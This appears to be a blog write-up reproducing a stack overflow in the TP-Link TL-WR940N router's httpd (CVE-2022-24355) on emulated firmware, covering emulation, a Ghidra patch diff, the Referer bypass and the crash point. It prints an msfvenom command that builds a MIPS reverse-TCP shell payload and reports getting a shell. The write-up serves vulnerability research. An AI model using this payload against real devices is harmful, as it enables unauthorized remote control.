[Debug/Exploit CVE-2022-24355] TP-Link TL-WR940N Stack-based Buffer Overflow
We will try to debug and exploit CVE-2022-24355, i wanna thank my friend Sameh (s4muii) for his help through this exploit.
It was a little bit hard because this is my first time with MIPS.
The Exploit on GitHub.
About the Bug
TP-Link TL-WR940N router's firmware before v5_211111 is vulnerable to Stack Overflow, the vulnerability in "httpd" binary in function "httpRpmFs" and we can know that from ZDI report (https://www.zerodayinitiative.com/advisories/ZDI-22-265/) we will try to reproduce this finding in firmware "v4_160617" which will be emulated in our device because we do not have the router itself.
Emulation
let's start with running the firmware in our system i tried to use my docker image to host it but i faced some issues so i decided to emulate it using Linux OS using the tool "firmadyne" which emulate and extracts file systems from the firmware and have some other scripts to be used, followin its instructions you will be able to intall it and setup the environment and start it on the firmware that you want to analysis and emualte.
i faced some issues with installing and setup the environment and these are some links maybe will help you if you faces same issues:
- issue of "squashfs" with [link].
- issue for "makeImage.sh" script using this [link].
- "kernel panic" I just removed the scratch file and reused the firmware commands again
- open database using "sudo -i -u postgres" to switch user and then use "psql"
- this issue helped us to know how we can access the router and how we can send files to the firmware: [link]
note that when you run the firmware you have to wait until the "(none)" word before "login" changed and becomes "TL-WR940N, the IP of the router will be "192.168.0.1" Try to call it using "curl" If you faced an issue with that you can solve it using these commands from this issue in GitHub [link].
Firmware Analysis
loading both firmware v4(vuln) and v5(fixed) in our Ghidra project and searching for the vulnerable function "httpRpmFs" and see its references and which functions are calling it
if you try to call the router you will be redirected to a forbidden page
we have to send the same hostname in the "Referer" header to pass this condition.
The following screenshots show the different between fixed function and vulnerable one
Vulnerable |
Fixed |
Modified vuln function |
for condition of vuln function (VULN) |
the following screenshot shows the conditions the new part "i != 6" is limiting the copying process until 6 chars.
with some dynamic analysis, we can get the crashpoint after calling "/loginFs/<FileName>" the filename from "/tmp" and we will use "passwd" which is a file in the tmp directory by default in the router.
Dynamic Analysis
Failed Scenario
Note: This approach did not work with me.
msfvenom -p linux/mipsbe/shell_reverse_tcp lport=4444 lhost=192.168.0.2 X
and passed the shellcode bytes to pwntools encoder
so why we can not change this register and i used "$t1" and it was a hint from a writeup i red before (but i could not continue with this), so it works with me and we have a clear shellcode
if we send this shellcode the process "httpd" will be changed to "[sh]" pid "3166" in the following screenshot
Comments
Post a Comment